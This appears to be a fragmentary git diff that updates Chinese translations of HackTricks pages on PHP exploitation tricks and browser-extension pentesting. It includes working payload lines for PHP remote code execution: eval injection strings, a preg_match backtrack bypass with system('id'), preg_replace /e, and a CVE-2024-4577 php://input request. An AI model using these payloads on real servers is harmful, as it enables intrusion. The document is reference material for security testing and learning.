- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 尝试通过使用一些Graphql数据库的帮助，即使在禁用自省的情况下也获取模式，这些数据库将建议变更和参数的名称。
|
||||
|
||||
### 客户端
|
||||
|
||||
@ -35,7 +35,7 @@ PHP 比较表： [https://www.php.net/manual/en/types.comparisons.php](https://w
|
||||
- `"0xAAAA" == "43690" -> True` 由十进制或十六进制格式的数字组成的字符串可以与其他数字/字符串进行比较，如果数字相同则结果为 True（字符串中的数字被解释为数字）
|
||||
- `"0e3264578" == 0 --> True` 一个以 "0e" 开头并后跟任何内容的字符串将等于 0
|
||||
- `"0X3264578" == 0X --> True` 一个以 "0" 开头并后跟任何字母（X 可以是任何字母）和后跟任何内容的字符串将等于 0
|
||||
- `"0e12334" == "0" --> True` 这非常有趣，因为在某些情况下，你可以控制 "0" 的字符串输入以及与之进行哈希和比较的某些内容。因此，如果你可以提供一个值，该值将创建一个以 "0e" 开头且没有任何字母的哈希，你可以绕过比较。你可以在这里找到 **已经哈希的字符串**： [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"0e12334" == "0" --> True` 这非常有趣，因为在某些情况下你可以控制 "0" 的字符串输入以及与之进行哈希和比较的某些内容。因此，如果你可以提供一个值，该值将创建一个以 "0e" 开头且没有任何字母的哈希，你可以绕过比较。你可以在这里找到 **已经哈希的字符串**： [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"X" == 0 --> True` 字符串中的任何字母等于 int 0
|
||||
|
||||
更多信息请参见 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
@ -59,11 +59,11 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re
|
||||
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
```
|
||||
同样的错误发生在 `strcasecmp()`
|
||||
相同的错误发生在 `strcasecmp()`
|
||||
|
||||
### 严格类型转换
|
||||
|
||||
即使使用了 `===`，也可能出现错误，使得比较容易受到类型转换的影响。例如，如果比较是在比较之前将数据转换为不同类型的对象：
|
||||
即使使用了 `===`，也可能会出现错误，使得比较容易受到类型转换的影响。例如，如果比较是在比较之前将数据转换为不同类型的对象：
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
@ -86,7 +86,7 @@ echo preg_match("/^.*1/",$myinput);
|
||||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
要绕过此检查，您可以**发送带有换行符的 URL 编码值**（`%0A`），或者如果您可以发送**JSON 数据**，则将其分成**多行**：
|
||||
要绕过此检查，您可以**使用新行进行 URL 编码的值**（`%0A`）发送，或者如果您可以发送**JSON 数据**，则将其分成**多行**发送：
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
@ -111,15 +111,15 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
|
||||
简而言之，问题发生是因为 PHP 中的 `preg_*` 函数基于 [PCRE 库](http://www.pcre.org/)。在 PCRE 中，某些正则表达式通过大量递归调用进行匹配，这会消耗大量的栈空间。可以设置允许的递归次数限制，但在 PHP 中，这个限制 [默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)，这超过了栈的容量。
|
||||
|
||||
[这个 Stackoverflow 线程](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中被提到，深入讨论了这个问题。我们的任务现在很明确：\
|
||||
**发送一个输入，使正则表达式进行 100_000+ 次递归，导致 SIGSEGV，使得 `preg_match()` 函数返回 `false`，从而使应用程序认为我们的输入不是恶意的，在有效负载的最后抛出一个惊喜，例如 `{system(<verybadcommand>)}` 来获取 SSTI --> RCE --> flag :)**。
|
||||
[这个 Stackoverflow 线程](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中被链接，深入讨论了这个问题。我们的任务现在很明确：\
|
||||
**发送一个输入，使正则表达式进行 100_000+ 次递归，导致 SIGSEGV，使得 `preg_match()` 函数返回 `false`，从而使应用程序认为我们的输入不是恶意的，在有效负载的最后抛出一个类似 `{system(<verybadcommand>)}` 的惊喜以获得 SSTI --> RCE --> flag :)**。
|
||||
|
||||
好吧，在正则表达式术语中，我们实际上并不是在进行 100k 次“递归”，而是在计算“回溯步骤”，正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述，它在 `pcre.backtrack_limit` 变量中默认为 1_000_000（1M）。\
|
||||
好吧，从正则表达式的角度来看，我们实际上并不是在进行 100k 次“递归”，而是在计算“回溯步骤”，正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述，它在 `pcre.backtrack_limit` 变量中默认为 1_000_000（1M）。\
|
||||
要达到这个，`'X'*500_001` 将导致 100 万个回溯步骤（50万向前和50万向后）：
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
### PHP混淆的类型转换
|
||||
### PHP 混合类型用于混淆
|
||||
```php
|
||||
$obfs = "1"; //string "1"
|
||||
$obfs++; //int 2
|
||||
@ -152,16 +152,16 @@ readfile($page);
|
||||
|
||||
## 更多技巧
|
||||
|
||||
- **register_globals**: 在 **PHP < 4.1.1.1** 或者如果配置错误，**register_globals** 可能是激活的（或者其行为被模拟）。这意味着在全局变量如 $\_GET 中，如果它们有值，例如 $\_GET\["param"]="1234"，你可以通过 **$param 访问它。因此，通过发送 HTTP 参数，你可以覆盖在代码中使用的变量\*\*。
|
||||
- **register_globals**: 在 **PHP < 4.1.1.1** 或者如果配置错误，**register_globals** 可能是激活的（或者其行为被模仿）。这意味着在全局变量如 $\_GET 中，如果它们有值，例如 $\_GET\["param"]="1234"，你可以通过 **$param 访问它。因此，通过发送 HTTP 参数，你可以覆盖在代码中使用的变量\*\*。
|
||||
- **同一域的 PHPSESSION cookies 存储在同一位置**，因此如果在一个域中 **不同路径使用不同的 cookies**，你可以使该路径 **访问该路径的 cookie**，设置其他路径 cookie 的值。\
|
||||
这样，如果 **两个路径访问同名变量**，你可以使 **路径1中的该变量的值应用于路径2**。然后路径2将视路径1的变量为有效（通过给 cookie 赋予在路径2中对应的名称）。
|
||||
- 当你拥有机器用户的 **用户名** 时。检查地址：**/\~\<USERNAME>** 以查看 php 目录是否被激活。
|
||||
- [**使用 php 包装器的 LFI 和 RCE**](../../../pentesting-web/file-inclusion/)
|
||||
- 当你拥有机器用户的 **用户名** 时。检查地址: **/\~\<USERNAME>** 以查看 php 目录是否被激活。
|
||||
- [**使用 php 包装器的 LFI 和 RCE**](../../../pentesting-web/file-inclusion/index.html)
|
||||
|
||||
### password_hash/password_verify
|
||||
|
||||
这些函数通常在 PHP 中用于 **从密码生成哈希** 并 **检查** 密码是否与哈希匹配。\
|
||||
支持的算法有：`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`（以 `$2y$` 开头）。请注意，**PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。** 目前，**PASSWORD_BCRYPT** 在输入上有 **72字节的大小限制**。因此，当你尝试用此算法对大于 72 字节的内容进行哈希时，仅使用前 72B：
|
||||
支持的算法有：`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`（以 `$2y$` 开头）。请注意，**PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。** 目前，**PASSWORD_BCRYPT** 在输入上有 **72字节的大小限制**。因此，当你尝试用此算法对大于 72 字节的内容进行哈希时，仅会使用前 72B：
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
@ -184,7 +184,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
||||
#### 填充主体后设置头部
|
||||
|
||||
如果一个 **PHP 页面正在打印错误并回显用户提供的一些输入**，用户可以使 PHP 服务器打印出一些 **足够长的内容**，以至于当它尝试 **将头部添加** 到响应中时，服务器会抛出错误。\
|
||||
在以下场景中，**攻击者使服务器抛出了一些大的错误**，正如您在屏幕上看到的，当 PHP 尝试 **修改头部信息时，它无法**（例如 CSP 头部没有发送给用户）：
|
||||
在以下场景中，**攻击者使服务器抛出了一些大错误**，正如您在屏幕上看到的，当 PHP 尝试 **修改头部信息时，它无法**（例如 CSP 头部没有发送给用户）：
|
||||
|
||||
.png>)
|
||||
|
||||
@ -202,17 +202,17 @@ php-ssrf.md
|
||||
&#xNAN;**\`ls\`;**\
|
||||
**shell_exec("ls");**
|
||||
|
||||
[查看此以获取更多有用的 PHP 函数](php-useful-functions-disable_functions-open_basedir-bypass/)
|
||||
[查看此处以获取更多有用的 PHP 函数](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
|
||||
|
||||
### **通过** **preg_replace()** **进行 RCE**
|
||||
```php
|
||||
preg_replace(pattern,replace,base)
|
||||
preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
要执行“replace”参数中的代码，至少需要一个匹配项。\
|
||||
此选项在 PHP 5.5.0 中已被**弃用**。
|
||||
要在“replace”参数中执行代码，至少需要一个匹配项。\
|
||||
此preg_replace选项在PHP 5.5.0中已被**弃用**。
|
||||
|
||||
### **通过 Eval() 进行 RCE**
|
||||
### **通过Eval()进行RCE**
|
||||
```
|
||||
'.system('uname -a'); $dummy='
|
||||
'.system('uname -a');#
|
||||
@ -272,12 +272,12 @@ usort();}phpinfo;#, "cmp");
|
||||
|
||||
### 通过环境变量进行 RCE
|
||||
|
||||
如果您发现一个漏洞，允许您 **修改 PHP 中的环境变量**（还有另一个漏洞可以上传文件，尽管经过更多研究，这可能会被绕过），您可以利用这种行为来获得 **RCE**。
|
||||
如果您发现一个漏洞，允许您 **修改 PHP 中的环境变量**（还有另一个漏洞可以上传文件，尽管经过更多研究可能可以绕过），您可以利用这种行为来获得 **RCE**。
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path)：这个环境变量允许您在执行其他二进制文件时加载任意库（尽管在这种情况下可能不适用）。
|
||||
- **`PHPRC`**：指示 PHP **在哪里查找其配置文件**，通常称为 `php.ini`。如果您可以上传自己的配置文件，则使用 `PHPRC` 指向它。添加一个 **`auto_prepend_file`** 条目，指定第二个上传的文件。这个第二个文件包含正常的 **PHP 代码，然后由 PHP 运行时在任何其他代码之前执行**。
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path)：此环境变量允许您在执行其他二进制文件时加载任意库（尽管在这种情况下可能不起作用）。
|
||||
- **`PHPRC`**：指示 PHP **在哪里查找其配置文件**，通常称为 `php.ini`。如果您可以上传自己的配置文件，则使用 `PHPRC` 指向它。添加一个 **`auto_prepend_file`** 条目，指定第二个上传的文件。这个第二个文件包含正常的 **PHP 代码，然后由 PHP 运行时执行**，在任何其他代码之前。
|
||||
1. 上传一个包含我们的 shellcode 的 PHP 文件
|
||||
2. 上传第二个文件，包含一个 **`auto_prepend_file`** 指令，指示 PHP 预处理器执行我们在步骤 1 中上传的文件
|
||||
2. 上传第二个文件，包含 **`auto_prepend_file`** 指令，指示 PHP 预处理器执行我们在步骤 1 中上传的文件
|
||||
3. 将 `PHPRC` 变量设置为我们在步骤 2 中上传的文件。
|
||||
- 获取更多关于如何执行此链的信息 [**来自原始报告**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)。
|
||||
- **PHPRC** - 另一个选项
|
||||
@ -293,7 +293,7 @@ Web 服务器解析 HTTP 请求并将其传递给执行请求的 PHP 脚本，
|
||||
```jsx
|
||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||
```
|
||||
此外，由于 PHP 后来的规范化，可以使用 0xAD 字符注入 "-" 参数。检查来自 [**这篇文章**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) 的漏洞示例：
|
||||
此外，由于后续的 PHP 规范化，可以使用 0xAD 字符注入 "-" 参数。请查看来自 [**这篇文章**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) 的漏洞示例：
|
||||
```jsx
|
||||
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
|
||||
Host: {{host}}
|
||||
@ -308,22 +308,22 @@ phpinfo();
|
||||
?>
|
||||
|
||||
```
|
||||
## PHP 清理绕过与 Brain Fuck
|
||||
## PHP Sanitization bypass & Brain Fuck
|
||||
|
||||
[**在这篇文章中**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 可以找到生成一个仅允许很少字符的 brain fuck PHP 代码的好主意。\
|
||||
此外，还提出了一种有趣的方法来执行函数，使它们能够绕过多个检查：
|
||||
[**在这篇文章中**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 可以找到生成脑残 PHP 代码的好主意，允许的字符非常少。\
|
||||
此外，还提出了一种有趣的方法来执行函数，使他们能够绕过多个检查：
|
||||
```php
|
||||
(1)->{system($_GET[chr(97)])}
|
||||
```
|
||||
## PHP 静态分析
|
||||
|
||||
查看您是否可以在对这些函数的调用中插入代码（来自 [这里](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)）：
|
||||
查看您是否可以在对这些函数的调用中插入代码（来自 [here](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)）：
|
||||
```php
|
||||
exec, shell_exec, system, passthru, eval, popen
|
||||
unserialize, include, file_put_cotents
|
||||
$_COOKIE | if #This mea
|
||||
```
|
||||
如果您正在调试一个 PHP 应用程序，可以在`/etc/php5/apache2/php.ini`中全局启用错误打印，添加`display_errors = On`并重启 apache：`sudo systemctl restart apache2`
|
||||
如果您正在调试 PHP 应用程序，可以在 `/etc/php5/apache2/php.ini` 中全局启用错误打印，添加 `display_errors = On` 并重启 apache： `sudo systemctl restart apache2`
|
||||
|
||||
### 反混淆 PHP 代码
|
||||
|
||||
@ -331,11 +331,11 @@ $_COOKIE | if #This mea
|
||||
|
||||
## PHP 包装器和协议
|
||||
|
||||
PHP 包装器和协议可以让您**绕过系统中的读写保护**并危害系统。有关[**更多信息，请查看此页面**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols)。
|
||||
PHP 包装器和协议可能允许您 **绕过系统中的读写保护** 并危害系统。有关 [**更多信息，请查看此页面**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols)。
|
||||
|
||||
## Xdebug 未经身份验证的 RCE
|
||||
|
||||
如果您在`phpconfig()`输出中看到**Xdebug**已**启用**，您应该尝试通过[https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)获取 RCE。
|
||||
如果您在 `phpconfig()` 输出中看到 **Xdebug** 已 **启用**，您应该尝试通过 [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) 获取 RCE。
|
||||
|
||||
## 变量变量
|
||||
```php
|
||||
|
||||
@ -106,7 +106,7 @@ document.body.appendChild(div)
|
||||
> [!TIP]
|
||||
> 请注意，**内容脚本不是强制性的**，因为也可以**动态** **注入**脚本，并通过**`tabs.executeScript`**在网页中**程序化地注入**它们。这实际上提供了更**细粒度的控制**。
|
||||
|
||||
要程序化地注入内容脚本，扩展需要对要注入脚本的页面具有[主机权限](https://developer.chrome.com/docs/extensions/reference/permissions)。这些权限可以通过在扩展的清单中**请求**它们或通过[**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)临时获得。
|
||||
要程序化地注入内容脚本，扩展需要对要注入脚本的页面具有[主机权限](https://developer.chrome.com/docs/extensions/reference/permissions)。这些权限可以通过在扩展的清单中**请求**它们或通过[**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)临时获取。
|
||||
|
||||
#### 示例基于activeTab的扩展
|
||||
```json:manifest.json
|
||||
@ -152,7 +152,7 @@ func: injectedFunction,
|
||||
})
|
||||
})
|
||||
```
|
||||
#### 示例与脚本权限
|
||||
#### 示例：具有脚本权限
|
||||
```javascript
|
||||
// service-workser.js
|
||||
chrome.scripting.registerContentScripts([
|
||||
@ -176,7 +176,7 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" })
|
||||
可能的值有：
|
||||
|
||||
- **`document_idle`**：尽可能地
|
||||
- **`document_start`**：在任何 `css` 文件之后，但在构建任何其他 DOM 或运行任何其他脚本之前。
|
||||
- **`document_start`**：在任何来自 `css` 的文件之后，但在构建任何其他 DOM 或运行任何其他脚本之前。
|
||||
- **`document_end`**：在 DOM 完成后立即，但在子资源（如图像和框架）加载之前。
|
||||
|
||||
#### 通过 `manifest.json`
|
||||
@ -208,16 +208,16 @@ js: ["contentScript.js"],
|
||||
```
|
||||
### `background`
|
||||
|
||||
由内容脚本发送的消息由 **background page** 接收，它在协调扩展的组件中发挥着核心作用。值得注意的是，background page 在扩展的整个生命周期中持续存在，默默运行而无需直接用户交互。它拥有自己的文档对象模型 (DOM)，使得复杂的交互和状态管理成为可能。
|
||||
由内容脚本发送的消息由**背景页面**接收，该页面在协调扩展的组件中发挥着核心作用。值得注意的是，背景页面在扩展的整个生命周期中持续存在，默默运行而无需直接用户交互。它拥有自己的文档对象模型（DOM），能够实现复杂的交互和状态管理。
|
||||
|
||||
**关键点**：
|
||||
|
||||
- **Background Page 角色：** 作为扩展的神经中枢，确保扩展各部分之间的通信和协调。
|
||||
- **背景页面角色：** 作为扩展的神经中枢，确保扩展各部分之间的通信和协调。
|
||||
- **持久性：** 它是一个始终存在的实体，对用户不可见，但对扩展的功能至关重要。
|
||||
- **自动生成：** 如果未明确定义，浏览器将自动创建一个 background page。这个自动生成的页面将包含扩展清单中指定的所有后台脚本，确保扩展后台任务的无缝运行。
|
||||
- **自动生成：** 如果未明确定义，浏览器将自动创建一个背景页面。这个自动生成的页面将包含扩展清单中指定的所有背景脚本，确保扩展的后台任务无缝运行。
|
||||
|
||||
> [!TIP]
|
||||
> 浏览器在自动生成 background page（当未明确声明时）所提供的便利，确保所有必要的后台脚本都被集成并正常运行，从而简化了扩展的设置过程。
|
||||
> 浏览器在自动生成背景页面（当未明确声明时）所提供的便利，确保所有必要的背景脚本都被集成并正常运行，从而简化了扩展的设置过程。
|
||||
|
||||
示例背景脚本：
|
||||
```js
|
||||
@ -229,7 +229,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
|
||||
```
|
||||
它使用 [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) 来监听消息。当接收到 `"explain"` 消息时，它使用 [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) 在新标签页中打开一个页面。
|
||||
|
||||
要调试后台脚本，您可以进入 **扩展详细信息并检查服务工作者，** 这将打开带有后台脚本的开发者工具：
|
||||
要调试后台脚本，您可以转到 **扩展详细信息并检查服务工作者，** 这将打开带有后台脚本的开发者工具：
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -238,7 +238,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
|
||||
浏览器扩展可以包含各种类型的页面：
|
||||
|
||||
- **操作页面** 在点击扩展图标时显示在 **下拉菜单中**。
|
||||
- 扩展将 **在新标签页中加载的页面**。
|
||||
- 扩展将 **在新标签页中加载** 的页面。
|
||||
- **选项页面**：此页面在点击时显示在扩展顶部。在之前的清单中，我能够通过 `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` 访问此页面，或点击：
|
||||
|
||||
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
@ -252,7 +252,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
|
||||
|
||||
**`permissions`** 和 **`host_permissions`** 是 `manifest.json` 中的条目，指示 **浏览器扩展具有哪些权限**（存储、位置等）以及 **在哪些网页上**。
|
||||
|
||||
由于浏览器扩展可能具有如此 **特权**，恶意扩展或被攻陷的扩展可能允许攻击者 **以不同方式窃取敏感信息并监视用户**。
|
||||
由于浏览器扩展可能具有如此 **特权**，恶意扩展或被攻击的扩展可能允许攻击者 **以不同方式窃取敏感信息并监视用户**。
|
||||
|
||||
检查这些设置如何工作以及如何被滥用：
|
||||
|
||||
@ -276,7 +276,7 @@ script-src 'self'; object-src 'self';
|
||||
|
||||
### `web_accessible_resources`
|
||||
|
||||
为了让网页访问浏览器扩展的页面，例如一个`.html`页面，该页面需要在`manifest.json`的**`web_accessible_resources`**字段中提及。\
|
||||
为了让网页访问浏览器扩展的页面，例如一个`.html`页面，该页面需要在`manifest.json`的**`web_accessible_resources`**字段中提到。\
|
||||
例如：
|
||||
```javascript
|
||||
{
|
||||
@ -302,10 +302,10 @@ chrome-extension://<extension-id>/message.html
|
||||
|
||||
<figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
不过，如果使用了 `manifest.json` 参数 **`use_dynamic_url`**，这个 **id 可能是动态的**。
|
||||
不过，如果使用 `manifest.json` 参数 **`use_dynamic_url`**，则该 **id 可能是动态的**。
|
||||
|
||||
> [!TIP]
|
||||
> 请注意，即使这里提到的页面可能会因 **内容安全策略** 而 **受到 ClickJacking 保护**。因此，在确认 ClickJacking 攻击是否可能之前，您还需要检查它（frame-ancestors 部分）。
|
||||
> 请注意，即使此处提到某个页面，它也可能由于 **内容安全策略** 而 **受到 ClickJacking 保护**。因此，在确认 ClickJacking 攻击是否可能之前，您还需要检查它（frame-ancestors 部分）。
|
||||
|
||||
允许访问这些页面使这些页面 **可能容易受到 ClickJacking 攻击**：
|
||||
|
||||
@ -317,17 +317,17 @@ browext-clickjacking.md
|
||||
> 仅允许这些页面由扩展加载，而不是由随机 URL 加载，可以防止 ClickJacking 攻击。
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意，**`web_accessible_resources`** 中的页面和扩展的其他页面也能够 **联系后台脚本**。因此，如果这些页面中的一个容易受到 **XSS** 攻击，可能会导致更大的漏洞。
|
||||
> 请注意，**`web_accessible_resources`** 中的页面和扩展的其他页面也能够 **联系后台脚本**。因此，如果这些页面中的一个容易受到 **XSS** 攻击，它可能会打开更大的漏洞。
|
||||
>
|
||||
> 此外，请注意，您只能在 iframe 中打开 **`web_accessible_resources`** 中指示的页面，但从新标签页可以访问扩展中的任何页面，只需知道扩展 ID。因此，如果发现 XSS 利用相同的参数，即使页面未在 **`web_accessible_resources`** 中配置，也可能被利用。
|
||||
> 此外，请注意，您只能在 iframe 中打开 **`web_accessible_resources`** 中指示的页面，但从新标签页可以访问扩展中的任何页面，只需知道扩展 ID。因此，如果发现 XSS 利用相同参数，即使页面未在 **`web_accessible_resources`** 中配置，也可能被利用。
|
||||
|
||||
### `externally_connectable`
|
||||
|
||||
根据 [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)，`"externally_connectable"` 清单属性声明 **哪些扩展和网页可以通过** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 和 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) 连接到您的扩展。
|
||||
|
||||
- 如果在扩展的清单中 **未声明 `externally_connectable`** 键，或者声明为 **`"ids": ["*"]`**，**所有扩展都可以连接，但没有网页可以连接**。
|
||||
- 如果 **指定了特定的 ID**，如 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`，**只有这些应用程序** 可以连接。
|
||||
- 如果 **指定了匹配项**，这些网页应用将能够连接：
|
||||
- 如果在扩展的清单中 **未声明 `externally_connectable`** 键或声明为 **`"ids": ["*"]`**，**所有扩展都可以连接，但没有网页可以连接**。
|
||||
- 如果 **指定了特定 ID**，如 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`，**只有这些应用程序** 可以连接。
|
||||
- 如果 **指定了匹配项**，这些网络应用程序将能够连接：
|
||||
```json
|
||||
"matches": [
|
||||
"https://*.google.com/*",
|
||||
@ -338,17 +338,17 @@ browext-clickjacking.md
|
||||
这里指示的**扩展和网址越少**，**攻击面就越小**。
|
||||
|
||||
> [!CAUTION]
|
||||
> 如果网页在**`externally_connectable`**中被指示为**易受XSS或接管攻击**，攻击者将能够**直接向后台脚本发送消息**，完全绕过内容脚本及其CSP。
|
||||
> 如果网页**易受XSS或接管攻击**并在**`externally_connectable`**中指示，攻击者将能够**直接向后台脚本发送消息**，完全绕过内容脚本及其CSP。
|
||||
>
|
||||
> 因此，这是一个**非常强大的绕过**。
|
||||
>
|
||||
> 此外，如果客户端安装了一个恶意扩展，即使它不被允许与易受攻击的扩展通信，它也可能在**允许的网页中注入XSS数据**，或滥用**`WebRequest`**或**`DeclarativeNetRequest`** API来操纵目标域上的请求，改变页面对**JavaScript文件**的请求。（请注意，目标页面上的CSP可能会阻止这些攻击）。这个想法来自[**这篇文章**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)。
|
||||
> 此外，如果客户端安装了恶意扩展，即使它不被允许与易受攻击的扩展通信，它也可能在**允许的网页中注入XSS数据**或滥用**`WebRequest`**或**`DeclarativeNetRequest`** API来操纵目标域上的请求，改变页面对**JavaScript文件**的请求。（请注意，目标页面上的CSP可能会阻止这些攻击）。这个想法来自[**这篇文章**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)。
|
||||
|
||||
## 通信摘要
|
||||
|
||||
### 扩展 <--> WebApp
|
||||
|
||||
在内容脚本和网页之间，通常使用后续消息进行通信。因此，在网页应用程序中，您通常会发现对**`window.postMessage`**函数的调用，而在内容脚本中则有像**`window.addEventListener`**这样的监听器。然而，请注意，扩展也可以**通过发送Post Message与网页应用程序通信**（因此网页应该预期此情况），或者只是让网页加载一个新脚本。
|
||||
在内容脚本和网页之间进行通信时，通常使用后续消息。因此，在Web应用程序中，您通常会找到对**`window.postMessage`**函数的调用，而在内容脚本中则有像**`window.addEventListener`**这样的监听器。然而，请注意，扩展也可以**通过发送Post Message与Web应用程序通信**（因此网页应该预期此情况），或者仅使网页加载一个新脚本。
|
||||
|
||||
### 在扩展内部
|
||||
|
||||
@ -452,9 +452,9 @@ false
|
||||
```
|
||||
安全的 Post Message 通信应检查接收到消息的真实性，这可以通过以下方式进行检查：
|
||||
|
||||
- **`event.isTrusted`**：只有当事件是由用户操作触发时，这个值才为 True
|
||||
- 内容脚本可能只在用户执行某些操作时才会期待消息
|
||||
- **origin domain**：可能只允许白名单中的域名发送消息。
|
||||
- **`event.isTrusted`**：仅当事件是由用户操作触发时，此值为 True
|
||||
- 内容脚本可能仅在用户执行某些操作时才会期待消息
|
||||
- **origin domain**：可能仅允许白名单中的域名发送消息。
|
||||
- 如果使用正则表达式，请非常小心
|
||||
- **Source**：`received_message.source !== window` 可用于检查消息是否来自 **同一窗口**，即内容脚本正在监听的窗口。
|
||||
|
||||
@ -474,9 +474,9 @@ browext-xss-example.md
|
||||
|
||||
### DOM
|
||||
|
||||
这并不是“确切的”通信方式，但 **网页和内容脚本将可以访问网页 DOM**。因此，如果 **内容脚本** 从中读取某些信息，**信任网页 DOM**，网页可能会 **修改这些数据**（因为网页不应被信任，或者因为网页容易受到 XSS 攻击）并 **危害内容脚本**。
|
||||
这并不是“确切的”通信方式，但 **网页和内容脚本将可以访问网页 DOM**。因此，如果 **内容脚本** 从中读取某些信息，**信任网页 DOM**，网页可能会 **修改这些数据**（因为网页不应被信任，或因为网页易受 XSS 攻击）并 **危害内容脚本**。
|
||||
|
||||
您还可以在以下位置找到一个 **基于 DOM 的 XSS 攻击以危害浏览器扩展** 的示例：
|
||||
您还可以在以下位置找到 **基于 DOM 的 XSS 以危害浏览器扩展** 的示例：
|
||||
|
||||
{{#ref}}
|
||||
browext-xss-example.md
|
||||
@ -496,7 +496,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
|
||||
console.log(response)
|
||||
})()
|
||||
```
|
||||
从**扩展**（通常是**后台脚本**）发送请求。以下是如何向选定标签页中的内容脚本发送消息的示例：
|
||||
从**扩展**（通常是**后台脚本**）发送请求。向选定标签页中的内容脚本发送消息的示例：
|
||||
```javascript
|
||||
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
|
||||
;(async () => {
|
||||
@ -523,13 +523,13 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
||||
```
|
||||
在突出显示的示例中，**`sendResponse()`** 是以同步方式执行的。要修改 `onMessage` 事件处理程序以实现 `sendResponse()` 的异步执行，必须加入 `return true;`。
|
||||
|
||||
一个重要的考虑是，在多个页面设置为接收 `onMessage` 事件的情况下，**第一个执行 `sendResponse()` 的页面** 将是唯一能够有效传递响应的页面。对同一事件的任何后续响应将不被考虑。
|
||||
一个重要的考虑是，在多个页面设置为接收 `onMessage` 事件的情况下，**第一个执行 `sendResponse()`** 的页面将是唯一能够有效传递响应的页面。对同一事件的任何后续响应将不被考虑。
|
||||
|
||||
在创建新扩展时，应该优先使用 promises 而不是回调。关于回调的使用，只有在同步上下文中直接执行 `sendResponse()` 函数，或者事件处理程序通过返回 `true` 表示异步操作时，`sendResponse()` 函数才被视为有效。如果没有任何处理程序返回 `true`，或者 `sendResponse()` 函数从内存中移除（被垃圾回收），则与 `sendMessage()` 函数关联的回调将默认被触发。
|
||||
|
||||
## Native Messaging
|
||||
|
